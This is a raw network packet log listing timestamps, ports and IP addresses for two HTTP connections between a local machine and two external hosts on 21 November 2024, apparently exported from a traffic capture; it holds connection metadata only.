Nov 21, 2024 03:09:22.651587009 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.651635885 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.652380943 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.652497053 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.652542114 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.653301954 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.653439045 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.653482914 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.654236078 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.654321909 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.654366970 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.655103922 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.655227900 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.655275106 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.656059980 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.656132936 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.656168938 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.656944036 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.657047987 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.657088995 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.657844067 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.657921076 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.657958984 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.658761024 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.658869982 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.658915043 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.659667969 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.659785032 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.659826994 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.660581112 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.660691023 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.660729885 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.661520958 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.661742926 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.661792040 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.662415981 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.662523031 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.662565947 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.663327932 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.663436890 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.663477898 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.664239883 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.664300919 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.664338112 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.665153027 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.665307999 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.665350914 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.666064024 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.666201115 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.666244030 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.666965008 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.667145014 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.667187929 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.667881012 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.667998075 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.668040037 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.668833017 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.668951035 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.668994904 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.669692993 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.669807911 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.669850111 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.670603037 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.670708895 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.670749903 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.671509981 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.671614885 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.671660900 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.672425985 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.672578096 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.672621012 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.673335075 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.673449039 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.673494101 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.674247980 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.674359083 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.674396038 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.675148964 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.675295115 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.675338030 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.676064014 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.676177979 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.676219940 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.676969051 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.677092075 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.677129984 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.677897930 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.677995920 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.678056955 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.678791046 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.678898096 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.678941011 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.679713011 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.679822922 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.679872990 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.680612087 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.680766106 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.680804968 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.681535006 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.681647062 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.681684971 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.682461023 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.682554960 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.682591915 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.683367968 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.683506012 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.683547974 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.684259892 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.684376955 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.684413910 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.685177088 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.685272932 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.685319901 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.686114073 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.686219931 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.686264038 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.687005997 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.687118053 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.687165022 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.687858105 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.739707947 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.753927946 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:22.753967047 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:22.754000902 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:22.754029989 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:22.754082918 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:22.754120111 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:22.754120111 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:22.754138947 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:22.754153013 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:22.754168987 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:22.754213095 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:22.754230022 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:22.754245996 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:22.754245996 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:22.754261971 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:22.754273891 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:22.754280090 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:22.754292011 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:22.754324913 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:22.783274889 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.783364058 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.783574104 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.783725023 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.783837080 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.784645081 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.784692049 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.784740925 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.784781933 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.785531998 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.833483934 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.844425917 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.844521999 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.844670057 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.844851971 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.844968081 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.845608950 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.845765114 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.845844984 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.846672058 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.846726894 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.846781969 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.846827984 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.847590923 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.847696066 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.847740889 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.848469973 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.848583937 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.848624945 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.849399090 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.849581003 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.849631071 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.850302935 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.850425005 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.850487947 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.851224899 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.851336002 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.851378918 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.852123022 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.852185965 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.852230072 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.853048086 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.853159904 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.853595972 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.853971004 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.854079962 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.854123116 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.854852915 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.854973078 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.855052948 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.855766058 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.855870962 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.856009007 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.856676102 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.856800079 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.856920004 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.857589006 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.857706070 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.857747078 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.858485937 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.858617067 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.858659983 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.859400034 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.859517097 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.860035896 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.860306025 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.860479116 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.860910892 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.861234903 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.861339092 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.861476898 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.862150908 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.862253904 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.862402916 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.863094091 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.863188028 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.863285065 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.863970041 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.864058018 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.864115000 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.864872932 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.864964962 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.865006924 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.865794897 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.865900993 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.865947962 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.866676092 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.866796017 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.866841078 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.867599964 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.867713928 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.867753983 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.868489981 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.868597031 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.868645906 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.869412899 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.869529963 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.869571924 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.870337009 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.870461941 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.870510101 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.871223927 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.871340036 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.871386051 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.872162104 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.872282982 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.873054028 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.873100042 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.873208046 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.873254061 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.873624086 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:22.873677015 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:22.873701096 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:22.873768091 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:22.873996973 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.874114990 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.874157906 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.874883890 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.874989986 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.875047922 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.875788927 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.875919104 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.875966072 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.876744032 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.876868963 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.877012014 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.877607107 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.877724886 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.877768993 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.878525972 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.878648996 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.879411936 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.879451036 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.879528999 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.879569054 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.880340099 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.880394936 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.880444050 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.881237984 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.881352901 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.881397963 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.882155895 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.882241011 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.882287025 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.883069992 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.883176088 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.883308887 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.883990049 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.884077072 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.884191036 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.884892941 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.884978056 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.885020971 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.885813951 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.885917902 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.885957956 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.886712074 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.886806011 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.887497902 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.887604952 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.887725115 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.887768030 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.888510942 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.888571024 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.888616085 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.955435038 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:22.955529928 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:22.955549002 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:22.955601931 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:22.959634066 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:22.959695101 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:22.959738016 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:22.959783077 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:22.968004942 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:22.968066931 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:22.968107939 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:22.968154907 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:22.975991011 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:22.976047039 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:22.976099968 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:22.976146936 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:22.984513044 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:22.984570026 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:22.984605074 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.984607935 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:22.984628916 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:22.984641075 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.984752893 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.984963894 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.984998941 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.985882044 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.985888004 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.985903978 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.986752033 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.986793995 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.992809057 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:22.992896080 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:22.992952108 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.001194000 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.001249075 CET	49842	80	192.168.2.5	154.216.20.78
